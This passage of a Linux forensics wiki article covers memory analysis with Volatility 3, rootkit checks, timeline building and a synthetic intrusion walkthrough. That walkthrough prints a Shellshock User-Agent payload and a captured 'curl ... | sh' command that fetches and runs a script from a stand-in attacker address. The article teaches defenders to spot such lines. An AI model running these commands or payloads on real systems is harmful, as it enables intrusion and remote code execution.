A statically linked tool (such as &amp;lt;code&amp;gt;busybox&amp;lt;/code&amp;gt;, if installed) does not load shared libraries, so it is not fooled by a library-preload rootkit. Kernel-module rootkits are much harder to catch from inside the running system, which is why memory analysis is the stronger method.&lt;br /&gt;
&lt;br /&gt;
=== Log tampering ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ls -la /var/log                    # any log suddenly tiny, empty, or not modified when it should be?&lt;br /&gt;
journalctl --verify                # consistency check of the journal files&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The best defense is a copy of the logs the attacker cannot reach: forward them to a remote log server (for example with &amp;lt;code&amp;gt;rsyslog&amp;lt;/code&amp;gt;) so that deleting local lines does not delete the record.&lt;br /&gt;
&lt;br /&gt;
== Going deeper: memory analysis with Volatility 3 ==&lt;br /&gt;
&lt;br /&gt;
Why bother with memory? It is smaller than the disk (64 GB of RAM is far easier to collect and store than 2 TB of disk) and holds things a disk image does not: every running process (including hidden ones), network connections, the shell history of open sessions, loaded kernel modules, cached file contents, and sometimes encryption keys.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/volatilityfoundation/volatility3 Volatility 3] is the standard open-source framework for analyzing memory images. Its Linux support has one big obstacle.&lt;br /&gt;
&lt;br /&gt;
=== The symbols problem ===&lt;br /&gt;
&lt;br /&gt;
Volatility must know how the exact kernel that produced the image lays out its data in memory. That description is called a &amp;quot;symbol table&amp;quot; (or profile). Windows and macOS have few kernel versions, so ready-made ones exist. Linux has thousands of combinations (each distribution, each kernel update, each vendor&#039;s build options), and you may need a different symbol file for every machine in an investigation.&lt;br /&gt;
&lt;br /&gt;
Making one requires the kernel built &#039;&#039;&#039;with debugging symbols&#039;&#039;&#039;: a &amp;quot;debug&amp;quot; kernel package for the exact version (named with &amp;lt;code&amp;gt;-dbg&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;-dbgsym&amp;lt;/code&amp;gt; depending on the distribution), which is large (gigabytes) and not always available (some distributions do not publish them, and end-of-life systems may have lost them). The Volatility documentation itself admits that it may not be possible to find the right symbols for a Linux image. A community-maintained collection of ready-made symbol files exists (see the [https://volatility3.readthedocs.io/en/latest/symbol-tables.html symbol tables documentation]), so check it before building your own.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. What kernel was running? (a banner is stored in memory)&lt;br /&gt;
vol -f memory.lime banners.Banners&lt;br /&gt;
strings -a memory.lime | grep PRETTY_NAME=            # the distribution name, too&lt;br /&gt;
&lt;br /&gt;
# 2. If you have the matching debug kernel (a large &amp;quot;vmlinux&amp;quot; file, hundreds of MB; a normal one is under ~10 MB)&lt;br /&gt;
sudo find / -name &#039;vmlinu*&#039; -size +100M 2&amp;gt;/dev/null&lt;br /&gt;
file /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64      # look for &amp;quot;with debug_info, not stripped&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# 3. Convert it into a symbol file and place it where Volatility looks&lt;br /&gt;
dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 &amp;gt; vmlinux-5.10.0-21-amd64.json&lt;br /&gt;
cp vmlinux-5.10.0-21-amd64.json /path/to/volatility3/symbols/linux/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the debug kernel is present on the machine you are analyzing, you are lucky. The command name (&amp;lt;code&amp;gt;vol&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;vol.py&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;vol3.py&amp;lt;/code&amp;gt;) depends on how it was installed, and you can keep symbol files with the image by pointing Volatility at the current directory with &amp;lt;code&amp;gt;-s .&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== The plugins you will use most ===&lt;br /&gt;
&lt;br /&gt;
Plugin names and output change between versions. List the current ones with &amp;lt;code&amp;gt;vol --help | grep linux.&amp;lt;/code&amp;gt;. A good first test is &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt;: it is fast, and if it produces sensible output your image and symbols are working.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Plugin !! What it answers&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt; || What processes exist (PID, parent PID, name)?&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.psaux.PsAux&amp;lt;/code&amp;gt; || The same, with each process&#039;s full command line.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pstree.PsTree&amp;lt;/code&amp;gt; || The parent/child tree, useful for &amp;quot;how was this started?&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsof.Lsof&amp;lt;/code&amp;gt; || Which files does a process have open (add &amp;lt;code&amp;gt;--pid&amp;lt;/code&amp;gt; to pick one)? Reveals executables and data in strange places.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.elfs.Elfs&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;linux.proc.Maps&amp;lt;/code&amp;gt; || Which executable and libraries a process loaded, and its memory segments (where injected code can appear).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.sockstat.Sockstat&amp;lt;/code&amp;gt; || Network connections and listeners (filter with &amp;lt;code&amp;gt;grep AF_INET&amp;lt;/code&amp;gt; to skip the noisy local sockets).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.bash.Bash&amp;lt;/code&amp;gt; || Command history recovered from running shells, &#039;&#039;with timestamps&#039;&#039;.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsmod.Lsmod&amp;lt;/code&amp;gt; || Loaded kernel modules (the ones that are not hidden).&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin is often more valuable than the history file on disk, for two reasons: history in memory includes the current session&#039;s commands that have not been saved yet, and each command has a timestamp. When a shell starts, it loads the saved history, so the first block of lines all share the shell&#039;s start time; the lines after them, with different times, are what was typed in that session.&lt;br /&gt;
&lt;br /&gt;
=== Hunting for rootkits in memory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vol -s . -f memory.lime linux.check_modules.Check_modules    # kernel modules hidden from the normal module lists&lt;br /&gt;
vol -s . -f memory.lime linux.check_syscall.Check_syscall    # system calls whose handlers have been replaced (hooks)&lt;br /&gt;
vol -s . -f memory.lime linux.check_creds.Check_creds        # processes sharing credentials, a sign of credential tampering&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_modules&amp;lt;/code&amp;gt; compares the several lists the kernel keeps of loaded modules and reports modules missing from some of them, the fingerprint of a module hiding itself. Expect the occasional harmless false positive (for example a legitimate virtualization driver), so investigate each hit. A rootkit that does not hide, but instead uses an ordinary-sounding name, is caught by comparing &amp;lt;code&amp;gt;Lsmod&amp;lt;/code&amp;gt; output with a known-good machine.&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_syscall&amp;lt;/code&amp;gt; shows the system-call table. Depending on the version, it may not flag hooked entries directly, so a practical trick is to run it on a memory image from a clean machine of the same kernel and compare the two lists: anything present in one but not the other stands out. In one published example (a memory image infected with a known Linux rootkit), the entries that differed were for listing directories (which lets a rootkit hide files, and, because Linux exposes processes as files under &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt;, hide processes too) and for sending signals.&lt;br /&gt;
* Other plugins (for example &amp;lt;code&amp;gt;Check_afinfo&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Check_idt&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Keyboard_notifiers&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Tty_check&amp;lt;/code&amp;gt;) look for network-structure tampering and keylogger techniques.&lt;br /&gt;
&lt;br /&gt;
Then pivot: use YARA rules built from indicators you already have (the &amp;lt;code&amp;gt;YaraScan&amp;lt;/code&amp;gt; plugin, or YARA directly), look at the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; history for the commands used to install the rootkit, and search the image with &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== No symbol file? Quick triage instead ===&lt;br /&gt;
&lt;br /&gt;
Even without Volatility working, a memory image can be mined. &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt; pulls out readable text, and [https://github.com/simsong/bulk_extractor bulk_extractor] finds and tallies URLs, addresses, e-mail addresses and domains, and extracts any network packets it finds.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
strings -a memory.lime | gzip &amp;gt; memory.strings.gz    # keep for context searches&lt;br /&gt;
bulk_extractor -o be-out memory.lime                 # the output folder must not already exist&lt;br /&gt;
&lt;br /&gt;
head be-out/url_histogram.txt                         # start with the histograms: common URLs, IPs, domains&lt;br /&gt;
head be-out/ip_histogram.txt&lt;br /&gt;
&lt;br /&gt;
# who was talking to whom, from packet fragments bulk_extractor recovered&lt;br /&gt;
tshark -n -r be-out/packets.pcap -Tfields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport | sort | uniq -c | sort -nr | head&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Look for what does not belong: a strange URL, an address you do not recognize appearing many times. Then search the saved strings around that item (&amp;lt;code&amp;gt;zgrep -F -C3 suspicious.example memory.strings.gz&amp;lt;/code&amp;gt;) for context.&lt;br /&gt;
&lt;br /&gt;
== Step 6: Building a timeline ==&lt;br /&gt;
&lt;br /&gt;
Investigations get clear once events are in one ordered list. A &#039;&#039;&#039;timeline&#039;&#039;&#039; combines file timestamps (and, with more effort, log entries) into a single chronological view, so you can see the attacker moving through the system. It is one of the fastest ways to find intrusion artifacts.&lt;br /&gt;
&lt;br /&gt;
=== Quick version ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# every file changed on 10 Sep, oldest first: change time, modify time, owner, path&lt;br /&gt;
sudo find / -xdev -type f -newermt &#039;2026-09-10 00:00&#039; ! -newermt &#039;2026-09-11 00:00&#039; \&lt;br /&gt;
     -printf &#039;%C+ %T+ %u %p\n&#039; | sort&lt;br /&gt;
&lt;br /&gt;
stat /var/tmp/.cache/update        # shows access, modify, change (and, on many filesystems, birth) times&lt;br /&gt;
&lt;br /&gt;
# files changed after a file you already know the attacker touched&lt;br /&gt;
sudo find / -xdev -newer /etc/passwd -type f -ls 2&amp;gt;/dev/null&lt;br /&gt;
ls -lArt /etc                      # a directory sorted by modification time, oldest first&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== The full method (The Sleuth Kit) ===&lt;br /&gt;
&lt;br /&gt;
For a real investigation, use [https://www.sleuthkit.org/ The Sleuth Kit] (TSK). You collect the raw timestamps into a &amp;quot;body file&amp;quot; (named after an early forensic toolkit), then turn it into a sorted timeline. Here the file systems come from a disk image; on a live system, UAC has already collected a body file for you.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. one body file per file system (&amp;quot;-m /&amp;quot; = the mount point prefix to put on each path)&lt;br /&gt;
fls -r -m / /dev/mapper/VOLUME_GROUP_NAME-root | gzip &amp;gt; bodyfile-root.gz&lt;br /&gt;
fls -o 2048 -r -m /boot /mnt/img/ewf1 | gzip &amp;gt; bodyfile-boot.gz     # -o = the partition&#039;s start sector, from mmls&lt;br /&gt;
&lt;br /&gt;
# 2. build a chronological CSV, in UTC, showing user and group names from the image (not your workstation)&lt;br /&gt;
zcat bodyfile-*.gz | mactime -d -y -p /mnt/data/etc/passwd -g /mnt/data/etc/group 2026-09-01 &amp;gt; timeline.csv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Open the CSV in a spreadsheet or a timeline viewer. The date argument means &amp;quot;from this date forward&amp;quot;; use a range such as &amp;lt;code&amp;gt;2026-09-01..2026-09-15&amp;lt;/code&amp;gt; to limit it further. Then start from &#039;&#039;&#039;pivot points&#039;&#039;&#039;: places in the timeline you already have reason to look.&lt;br /&gt;
&lt;br /&gt;
* The moment a suspicious executable was created (its birth or change time) and the directory it was installed in.&lt;br /&gt;
* Modification times on &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; if accounts were added.&lt;br /&gt;
* An alert, a log entry or a suspicious login: jump to that time.&lt;br /&gt;
* Files created just before a persistence mechanism (a cron entry, a service unit) was added.&lt;br /&gt;
&lt;br /&gt;
=== Understanding Linux timestamps ===&lt;br /&gt;
&lt;br /&gt;
Files have four time values:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Name !! Meaning !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;mtime&#039;&#039;&#039; (modified) || When the contents last changed || Easy for an attacker with root to set to any value with &amp;lt;code&amp;gt;touch -d&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;atime&#039;&#039;&#039; (accessed) || When the contents were last read or run || Linux usually mounts with &amp;lt;code&amp;gt;relatime&amp;lt;/code&amp;gt;, which updates atime only if it is older than the mtime/ctime, or more than 24 hours old. So atime is updated only occasionally, but is still sometimes useful (for example on a rarely-used program the attacker dropped and ran). Your own investigation also changes atimes.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;ctime&#039;&#039;&#039; (changed) || When the file&#039;s &#039;&#039;metadata&#039;&#039; last changed (permissions, owner, name, contents) || Normal tools cannot set it directly, so a file whose mtime says 2019 but whose ctime says last Tuesday has probably been &amp;quot;timestomped.&amp;quot; But an attacker with root can still change it (by setting the system clock, or by editing the file system directly with a tool such as &amp;lt;code&amp;gt;debugfs&amp;lt;/code&amp;gt;).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;btime&#039;&#039;&#039; (birth/creation) || When the file was created || Recorded by ext4 and shown by &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt; (&amp;quot;Birth&amp;quot;); not available on every file system or tool.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Timelines have limits. Timestamps are &#039;&#039;&#039;ephemeral&#039;&#039;&#039;: each file keeps only its latest values. If an attacker edits &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; and a user later changes a password, the attacker&#039;s timestamp is overwritten and your timeline has a hole. Normal system activity also updates timestamps. Administrators (and attackers with root) can change them at will. And you need to know what is normal to interpret them: a set-UID bit turned on for a shell is alarming; the same change to a package&#039;s own program during an update is not.&lt;br /&gt;
&lt;br /&gt;
For those reasons, treat a timeline as &#039;&#039;&#039;a guide to evidence, not evidence itself&#039;&#039;&#039;. It points you to the files, logs and memory artifacts that you then examine and can report.&lt;br /&gt;
&lt;br /&gt;
Some other useful timing facts:&lt;br /&gt;
&lt;br /&gt;
* Work in one time zone (UTC is easiest). File systems store times in UTC, but command-line tools display them in your workstation&#039;s local time zone unless you tell them otherwise.&lt;br /&gt;
* The SSH host keys under &amp;lt;code&amp;gt;/etc/ssh&amp;lt;/code&amp;gt; are usually created the first time a system boots. Their timestamps therefore hint at when the system was first started, useful for judging how old a system or a cloned image is. (Linux does not otherwise record an install date.)&lt;br /&gt;
* Check the system&#039;s own clock and time zone against its logs before you compare times across sources.&lt;br /&gt;
&lt;br /&gt;
=== A note on deleted files ===&lt;br /&gt;
&lt;br /&gt;
Recovering deleted files is harder on Linux than people expect. On ext4, deleting a file typically wipes the information that says where its data was stored, and XFS behaves similarly, so undeleting it is often impractical. It is far better to catch a malicious file while it still exists (or while a process still has it open: see [[#Reading the process list|reading the process list]] above) than to count on recovering it later. The internals of the ext4 and XFS file systems are a deep subject of their own; see the sources below if you need them.&lt;br /&gt;
&lt;br /&gt;
== Worked example ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;This is a made-up scenario (synthetic logs, documentation IP addresses) showing how the pieces fit together.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Report:&#039;&#039;&#039; the web server is slow, and the monitoring tool flagged outbound traffic to an unfamiliar address.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Volatile state.&#039;&#039;&#039; The process tree shows a shell started by the web server, and a process nobody can identify:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
www-data  4108  apache2 -k start&lt;br /&gt;
www-data  4121   \_ sh -c curl -s http://203.0.113.50/u.sh | sh&lt;br /&gt;
www-data  4188  /var/tmp/.cache/update&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo ss -tnp state established&lt;br /&gt;
Recv-Q Send-Q  Local Address:Port    Peer Address:Port   Process&lt;br /&gt;
0      0       10.0.0.5:48822        203.0.113.50:4444   users:((&amp;quot;update&amp;quot;,pid=4188,fd=3))&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Already there are three clues: a web-server child running a downloader, a program in a hidden directory under &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, and an outbound connection owned by that program.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Way in.&#039;&#039;&#039; The access log around the time process 4121 started (14:02 UTC) holds:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.7 - - [10/Sep/2026:14:02:11 +0000] &amp;quot;GET /cgi-bin/status.sh HTTP/1.1&amp;quot; 200 412 &amp;quot;-&amp;quot; &amp;quot;() { :;}; echo; /usr/bin/id&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; in the User-Agent, sent to a CGI script, is a Shellshock attempt. The &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; and the timing (the shell appears seconds later) suggest it worked. The client address, &amp;lt;code&amp;gt;198.51.100.7&amp;lt;/code&amp;gt;, is the same one that was guessing SSH passwords minutes earlier in &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;, so the attacker was probing more than one way in.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Persistence.&#039;&#039;&#039; The cron directory for the web user contains a job that restarts the unknown program every minute:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo cat /var/spool/cron/crontabs/www-data&lt;br /&gt;
* * * * * /var/tmp/.cache/update &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Killing process 4188 alone would have accomplished nothing; it would have been relaunched within a minute. Before killing it, the analyst copies the program out of &amp;lt;code&amp;gt;/proc/4188/exe&amp;lt;/code&amp;gt; and hashes it.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Timeline.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Time (UTC) !! Event !! Source&lt;br /&gt;
|-&lt;br /&gt;
| 13:58 to 13:59 || Repeated SSH failures from 198.51.100.7, then a successful login as &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || Shellshock-style request against &amp;lt;code&amp;gt;/cgi-bin/status.sh&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;access.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || &amp;lt;code&amp;gt;apache2&amp;lt;/code&amp;gt; spawns a shell that downloads and runs a script || process tree&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 || &amp;lt;code&amp;gt;/var/tmp/.cache/update&amp;lt;/code&amp;gt; created; cron entry added || file times, crontab&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 onward || Outbound connection to 203.0.113.50:4444 || &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Conclusions and open questions.&#039;&#039;&#039; The web server was compromised through a vulnerable CGI script, and there is persistence and an active outbound connection. Open questions: was the &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; SSH login also the attacker (check that account&#039;s history and keys)? What did the attacker reach with the web user&#039;s permissions? Is there any sign of privilege escalation to root (set-UID files, new accounts, a rootkit)? Until those are answered the machine cannot be considered clean.&lt;br /&gt;
&lt;br /&gt;
== After the analysis ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Contain:&#039;&#039;&#039; isolate the host from the network (firewall rule or unplug) rather than powering it off, so volatile evidence is preserved until you have captured it.&lt;br /&gt;
* &#039;&#039;&#039;Eradicate and recover:&#039;&#039;&#039; if an attacker had root, or if you found a rootkit, the safest course is to rebuild the system from trusted media and restore data from a backup that pre-dates the compromise, rather than trying to clean it in place.&lt;br /&gt;
* &#039;&#039;&#039;Reset credentials and keys&#039;&#039;&#039; that were on the machine: passwords, SSH keys, API tokens, database passwords, TLS keys.&lt;br /&gt;
* &#039;&#039;&#039;Close the way in:&#039;&#039;&#039; patch the vulnerable software, disable unneeded services (see [[Introduction to Service Auditing]]), and tighten SSH (key-only login, no root login, rate limiting).&lt;br /&gt;
* &#039;&#039;&#039;Write it up:&#039;&#039;&#039; the timeline, what you found, what you did and what you could not determine. This is what turns an incident into a lesson.&lt;br /&gt;
&lt;br /&gt;
== Quick reference: symptom to first check ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Symptom !! First place to look&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected logins || &amp;lt;code&amp;gt;last -aiF&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;secure&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;journalctl -u ssh&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Web server slow or making outbound connections || Process tree (&amp;lt;code&amp;gt;ps --forest&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;ss -tnp&amp;lt;/code&amp;gt;, web access and error logs&lt;br /&gt;
|-&lt;br /&gt;
| A process you cannot identify || &amp;lt;code&amp;gt;/proc/PID/exe&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;cwd&amp;lt;/code&amp;gt;; is the executable deleted, under &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, or in a hidden directory?&lt;br /&gt;
|-&lt;br /&gt;
| A user or service you do not recognize || &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; (UID 0 and login shells), &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| A program that keeps coming back || &amp;lt;code&amp;gt;crontab&amp;lt;/code&amp;gt;s, &amp;lt;code&amp;gt;systemctl list-timers&amp;lt;/code&amp;gt;, enabled unit files, shell start-up files, scripts those run&lt;br /&gt;
|-&lt;br /&gt;
| Someone can log in without a password || &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; files, &amp;lt;code&amp;gt;sshd_config&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Commands behave strangely or disagree || &amp;lt;code&amp;gt;debsums&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;rpm -Va&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt;, a memory image with Volatility, a trusted boot disk, &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; as a secondary check&lt;br /&gt;
|-&lt;br /&gt;
| Logs look too clean || File sizes and mtimes in &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt;, remote log server, &amp;lt;code&amp;gt;journalctl --verify&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;quot;What happened, and in what order?&amp;quot; || A timeline: &amp;lt;code&amp;gt;find -printf&amp;lt;/code&amp;gt; for a quick look, TSK &amp;lt;code&amp;gt;fls&amp;lt;/code&amp;gt; plus &amp;lt;code&amp;gt;mactime&amp;lt;/code&amp;gt; for a full one&lt;br /&gt;
|-&lt;br /&gt;
| Machine is off, or you have only a disk || Mount the image read-only (&amp;lt;code&amp;gt;ro,noexec,noload&amp;lt;/code&amp;gt;) and work through steps 2 to 6 on the mount&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Practicing safely ==&lt;br /&gt;
&lt;br /&gt;
The safest way to learn this is on machines built for it. Use intentionally vulnerable practice applications such as DVWA or WebGoat, run inside an isolated virtual machine or container on a network that is not connected to anything you care about, then practice on the &#039;&#039;defender&#039;&#039; side: read the logs, process list and files that your own test attack left behind. Never point attack tools at systems you do not own or have written permission to test.&lt;br /&gt;
&lt;br /&gt;
For disk-analysis practice there are also published sample Linux disk images, for example the set created by Ali Hadi&#039;s team at Champlain College for a digital forensics workshop, available from the [https://github.com/ashemery/LinuxForensics LinuxForensics repository on GitHub]. Check that repository&#039;s own terms before copying or redistributing anything from it.&lt;br /&gt;
&lt;br /&gt;
== Credits and license ==&lt;br /&gt;
&lt;br /&gt;
Parts of this page (the way live triage, memory analysis, disk images and timelines are organized; the process-analysis red flags; the set-UID, persistence and post-exploitation checklists; the Volatility and mounting workflows; and several examples such as the look-alike hidden directories) are adapted from &#039;&#039;Linux Forensics&#039;&#039; (version 3.0.2) by Hal Pomeranz, Copyright © Hal Pomeranz, distributed under the [https://creativecommons.org/licenses/by-sa/4.0/ Creative Commons Attribution-ShareAlike 4.0 International License]. The original course slides are available from the [https://archive.org/details/HalLinuxForensics Internet Archive].&lt;br /&gt;
&lt;br /&gt;
Changes: the material has been rewritten, condensed and reorganized into a single article; commands were re-checked and modified (and some added); and the SSH, web-log, worked-example and quick-reference sections are new. The original author has not reviewed or endorsed this page. Like the rest of WikiCyber, this page is available under CC BY-SA 4.0.&lt;br /&gt;
&lt;br /&gt;
== Sources and further reading ==&lt;br /&gt;
&lt;br /&gt;
* Hal Pomeranz, [https://archive.org/details/HalLinuxForensics &#039;&#039;Linux Forensics&#039;&#039;]. A full course covering the topics on this page in depth, including ext4 and XFS file system internals and deleted-file recovery.&lt;br /&gt;
* [https://attack.mitre.org/matrices/enterprise/linux/ MITRE ATT&amp;amp;CK: Linux matrix]. A catalog of attacker techniques (persistence, privilege escalation, defense evasion and more) with detection guidance.&lt;br /&gt;
* [https://csrc.nist.gov/pubs/sp/800/61/r3/final NIST SP 800-61 Rev. 3]. Incident response recommendations from the U.S. National Institute of Standards and Technology.&lt;br /&gt;
* [https://owasp.org/www-project-top-ten/ OWASP Top 10]. The most common web application risks, including injection.&lt;br /&gt;
* [https://nvd.nist.gov/vuln/detail/CVE-2014-6271 CVE-2014-6271 (Shellshock)] in the National Vulnerability Database.&lt;br /&gt;
* Tools: [https://github.com/tclahr/uac UAC] (live collection), [https://github.com/microsoft/avml AVML] and [https://github.com/504ensicsLabs/LiME LiME] (memory capture), [https://github.com/volatilityfoundation/volatility3 Volatility 3] (memory analysis), [https://www.sleuthkit.org/ The Sleuth Kit] (disk and timeline analysis), [https://github.com/libyal/libewf libewf] (E01 images), [https://github.com/simsong/bulk_extractor bulk_extractor] (data carving).&lt;br /&gt;
* [https://man7.org/linux/man-pages/ Linux man pages]. Reference for &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ausearch&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;losetup&amp;lt;/code&amp;gt; and the other commands used above.&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;/div&gt;</summary>
